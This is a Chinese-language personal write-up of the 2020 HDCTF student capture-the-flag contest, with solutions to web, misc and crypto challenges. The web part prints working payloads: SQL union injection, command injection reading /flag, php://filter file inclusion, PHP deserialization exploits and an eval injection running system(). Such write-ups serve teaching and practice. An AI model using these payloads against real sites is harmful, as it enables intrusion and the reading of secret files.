前言
国庆档的海南大学的新生赛HDCTF,打得还可以,后面排名是第三还是第四我忘了。感谢海大队伍给我送的明信片和鼠标垫,还有海大战队的贴纸,第一次拿到比赛奖品有点莫名的小激动哈哈。从这次比赛中学到了挺多
比赛地址:http://8.129.15.153:8000/
用户名:我是校外的
正文
web
signin
打开右键源代码,拿去base64
flag
HDCTF{c7ce9f2d891f0ef68ce8c4eec4b92cc3padding}
babysql
从0′ order by 3#可以得出一共三列数据
payload
0' union select null,flag,null from flag#
flag
HDCTF{ACTF_baby_baby_baby_sqllll}
babyrce
老熟悉了
1|cat /flag
flag
HDCTF{ACTF_command_exe_hhhhhh}
easy_git
考的git泄露,githack一把梭
python2 githack.py http://8.129.15.153:20003/
flag
HDCTF{ACTF_.git_leak_is_dangerous}
backup_file
叫找源码,丢进dirsearch里面
python dirsearch.py -u http://8.129.15.153:20004/ -e php
成功找到备份源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
考的弱类型
payload
?key=123
flag
HDCTF{ACTF_D0n'T_FoRGeT_BacKuP_Fi1e}
easy_file_include
考的本地文件包含,直接
?file=php://filter/read=convert.base64-encode/resource=flag.php
读出源码,base64解密
flag
HDCTF{ACTF_Fi1e_InClUdE_Is_EaSy}
do_u_know_HTTP
叫get一个数据
url加上?Hainan_University
叫post一个数据,安排一个
叫加个Mg头,安排
最后的http包
POST /?Hainan_University HTTP/1.1
Host: 8.129.15.153:20006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Origin: moz-extension://51c41745-0394-4e74-897b-260316d951d7
Content-Length: 6
Connection: close
Mg:
HnuSec
flag
HDCTF{U_must_konw_all_kinds_of_network_protocols_such_as_HTTP}
erciyuan
这道题开始部分有点像2019年安洵杯的easy_web
打开是一张图片,已经转化成base64
bp抓包在http头发现hint
Hint: !HDCTF!.php && bin2hex(base64_encode(gzdeflate($file)))
这里可以猜测处理过程为传入一个值然后服务器把这个值解密然后拿去读文件,然后读出来的数据用base64编码然后加个base64头显示在前端,现在又知道了我们要读取!HDCTF!.php
这个文件
插入一小段验证过程:
前端这段字符串是3307a4a7a637a544b38684c4277413d
来解密一下
<?php
echo gzinflate(base64_decode(hex2bin("53307a4a7a637a544b38684c4277413d")));
?>
然后得到
思路得证
现在获取!HDCTF!.php
的加密值
<?php
echo bin2hex(base64_encode(gzdeflate("!HDCTF!.php")))."</br>";
?>
得到
拿去传参
index.php?img=552f527763513578553951727943674141413d3d
结果什么都没有得到….
没有办法,尝试读一下index.php
<?php
echo bin2hex(base64_encode(gzdeflate("index.php")))."</br>";
得到
7938784c536133514b38676f4141413d
拿去传参
index.php?img=7938784c536133514b38676f4141413d
拿到了一串base64index.php
拿去解密一下,得到index.php的源码
<?php
error_reporting(0);
if (!function_exists('hex2bin')) {
function hex2bin($hexdata){
$bindata = '';
for ($i=0; $i<strlen($hexdata); $i+=2){
$bindata .= chr(hexdec(substr($hexdata,$i,2)));
}
return $bindata;
}
}
if(!function_exists('bin2hex')) {
function bin2hex($str) {
$strl = strlen($str);
$fin = '';
for($i =0; $i < $strl; $i++) {
$fin .= dechex(ord($str[$i]));
}
return $fin;
}
}
@header('Hint: !HDCTF!.php && bin2hex(base64_encode(gzdeflate($file)))');
if(!isset($_GET['img']))
header('Refresh:0;url=./index.php?img=53307a4a7a637a544b38684c4277413d');
$file = gzinflate(base64_decode(hex2bin($_GET['img'])));
echo '<title>HDCTF2nd</title>';
echo '<center><h3>'.$_GET['img'].'</h3>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("HnuSec","!", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img></center>";
?>
可以看到这里对传值进行解密之后还要用正则表达式匹配,把大小写字母数字和小数点之外的所有字符都置换成空,同时把HnuSec
置换成!
这里就可以知道为何直接读那个!HDCTF!.php
不成功了,因为!
被过滤了,但是HnuSec
又可以替换成!
生成加密值
<?php
echo bin2hex(base64_encode(gzdeflate("HnuSecHDCTFHnuSec.php")))."</br>";s
得到加密值
payload
index.php?img=383867724455354e396e4278446e487a41445031436a494b41413d3d
成功读出来base64加密的flag
flag
HDCTF{8eb106829505b59a67f3fe5557e777f4}
hash_hmac
打开链接发现这样的提示
$x = $_POST['x'];$y = $_POST['y'];if($x!==$y && hash_hmac('md5', $x, '******')==hash_hmac('md5', $y, '******')){die('flag is in ******.php');}
意思是post两个数据,不能一样但是hash_hmac()要相同,加密密钥不知道
所以想到的是数组加密,因为hash_hmac()对数据加密的返回值是一样的,都是空
所以post两个数据
x[]=1&y[]=2
flag
HDCTF{9416f5bfeb51f5e788f30840a6b1d601}
welcome
至今想不懂这道题想考什么
随便输入一个,提示密码,然后账号随便给一个,出flag????
flag
HDCTF{55e4abd8f9ec513aef650ea2e79dbc96}
dudaima
直接读代码
<?php
show_source(__FILE__);
error_reporting(0);
include "lib.php";
class Just4Fun {
public $enter;
public $secret;
}
if(isset($_GET["pass"])) {
$o = unserialize($_GET["pass"]);
$o->secret = bin2hex(random_bytes(256));
if ($o->secret === $o->enter){
echo FLAG;
}else{
die("secret or enter wrong!");
}
}else{
die("no pass");
}
可以看到要两个成员的值相等
直接上exp
<?php
class just4fun
{
var $enter;
var $secret;
function just4fun2(){
$this->enter =& $this->secret;
}
}
$flag = new just4fun();
$flag->just4fun2();
echo serialize($flag);
flag
HDCTF{72595ef46cff90ccb8dd99a177721bc5}
getshell
<?php
$str = $_POST['str'];
if(isset($str)){
$sp = ",";
$kv = "=";
$arr = str_replace(array($kv,$sp),array('"=>"','","'),'array("'.$str.'")');
eval("\$arr"." = $arr;");
}else{
show_source(__FILE__);
}
这道题是后面看了wp才做的,其实也不难,那个str_replace的意思是对替换对象按照参数一和参数二形成的一一映射来进行替换的,具体过程可以参考https://www.cnblogs.com/zwww/archive/2011/11/16/2251018.html不过不含有,和=就根本不用管,直接闭合字符串连接的双引号就行
payload
str=");system('tac flag.php');//
flag
HDCTF{17aa1305bbdedaf12d4a1be87cc66d2f}
warmup
打开随便试一下密码发现提示
十六进制转字符换再base64解密得到密码,账号随意
flag
HDCTF{d356c6ba4c6eae7cc5389b8695730ecc}
welcome_to_the_new
打开读代码
<?php
show_source(__FILE__);
error_reporting(0);
Class Stu{
private $name;
private $age;
private $sex;
public $info = 'info.php';
protected function setName($name){
$this->name = $name;
}
protected function setAge($age){
if(($age>16)&&($age<25)){
$this->age = $age;
}else{
return False;
}
}
protected function setSex($sex){
if(($sex==='Man') || ($sex==='Woman')){
$this->sex = $sex;
}else{
return False;
}
}
protected function getName(){
return $this->name;
}
public function __construct($name, $age, $sex){
$this->setName($name);
$this->setAge($age);
$this->setSex($sex);
}
public function __destruct(){
include($this->info);
Greet($this->getName());
}
}
$someone = new Stu('M&G', 20, 'Man');
$s = $_GET['Hainan_University'];
if(isset($s)){
unserialize($s);
}
一个get输入,然后利用点只有include,可以想到php://filter
exp
<?php
Class Stu{
private $name;
private $age;
private $sex;
public $info = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
$a=new Stu("1",20,"Man");
echo urlencode(serialize($a));
?>
为了避免序列化private属性导致%00无法被复制问题,所以用了urlencode()
payload
?Hainan_University=O%3A3%3A"Stu"%3A4%3A%7Bs%3A9%3A"%00Stu%00name"%3BN%3Bs%3A8%3A"%00Stu%00age"%3BN%3Bs%3A8%3A"%00Stu%00sex"%3BN%3Bs%3A4%3A"info"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D
flag
HDCTF{c1dfbac550a539bb210bc477b8a8da83}
misc
签到题
就复制粘贴
一步之遥
伪加密
你知道lsb是什么意思吗
打开压缩包,是一张图片,把它丢下来放进zsteg跑一下,发现里面有个7zip
然后用stegsolve打开,在r0,g0,b0图层上把数据保存为7z
可以看见一个压缩包,被加密了,但是可以看到前三位和后三位,题目提示还是一个手机号
然后就想掩码爆破。。。无果。。。暴毙了>
后面放了hint,是crc爆破。。怪我太菜没想到>
在python3下写的exp
#coding:utf-8
import binascii
dic=['1','2','3','4','5','6','7','8','9','0'] #各种打印字符
crc = 0x7BA3BB27 # 记得要以0x开头
for i in dic :
for j in dic:
for p in dic:
for q in dic:
for r in dic:
s="131"+i+j+p+q+r+"262"
if(crc == (binascii.crc32(s.encode()))):
print(s)
结果是这个
flag
HDCTF{13118975262}
### girlfriend
打开是一个流量包,查看可以发现http协议下有一个jpeg传输记录
把jpeg导出 可以发现flag
flag
HDCTF{do_you_want_a_girlfriend}
你真的了解dns吗
直接查txt记录,cmd下查询
nslookup -qt=txt hdctf.0x00.work
flag
HDCTF{Y0u_Kn0w_dNs_W31l}
crypto
起源
直接凯撒
flag
HDCTF{crypto_is_so_easy}
围住世界
5位w型栅栏
flag
HDCTF{TheFenceIsSoFunny}
有趣起来了
题目就是一串编码
swxgu{nlivrmgvivhgrmtxlwv}
找一下规律发现前面五个和hdctf有一点规律,比如s和h的ascii码相加等于219,w和d的ascii相加也是219,其他也一样
a='swxgu{nlivrmgvivhgrmtxlwv}'
text=""
for i in a:
text=text+chr(219-ord(i))
print(text)
flag
hdctf{moreinterestingcode}
奇怪的贝斯
考察的base64换表加解密
nc连上去
给了密文然后让你输入数据,它通过自定义的base64表给出加密结果
所以思路是得到base64表
还是太菜了写的exp有点麻烦要自己不断收集标准表加密的密文和nc返回的自定义表加密的密文
#include <stdio.h>
int main(){
char dicold[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char dicnew[64]="";
char base64old[400]="";
char base64new[400]="";
char t;
int i=0;
int j=0;
int jilu=0;
printf("old:\n");
fflush(stdin);
gets(base64old);
fflush(stdin);
printf("new:\n");
fflush(stdin);
gets(base64new);
fflush(stdin);
while(base64old[i]!='\0')
{
for(jilu=0;jilu<64;jilu++)
{
if(dicold[jilu]==base64old[i])
{
j=jilu;
break;
}
}
dicnew[j]=base64new[i];
i+=1;
}
for(jilu=0;jilu<64;jilu++)
{
if(dicnew[jilu]!='\0')
printf("%d:%c\n",jilu,dicnew[jilu]);
}
return 0;
}
最后得出并不十分完整的base64表
HnusecWiN/gamoUS207ObdfhjklpqrtvABDEJKLMPQRTVC1T9+FwGxyz34TYZ56T
换表解密的exp
import base64
import string
str1 = "7e0sdekYksb3kf0DosqCmObxU7GGosmGafcJjf2CjEA9UsmwjwkKmObwv2P="
string1 = "HnusecWiN/gamoUS207ObdfhjklpqrtvABDEJKLMPQRTVC1T9+FwGxyz34TYZ56T"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
最后跑出flag
flag
HDCTF{d58edb47-1559-4434-adad-b80833c6e153}
本文地址: 2020HDCTF个人wp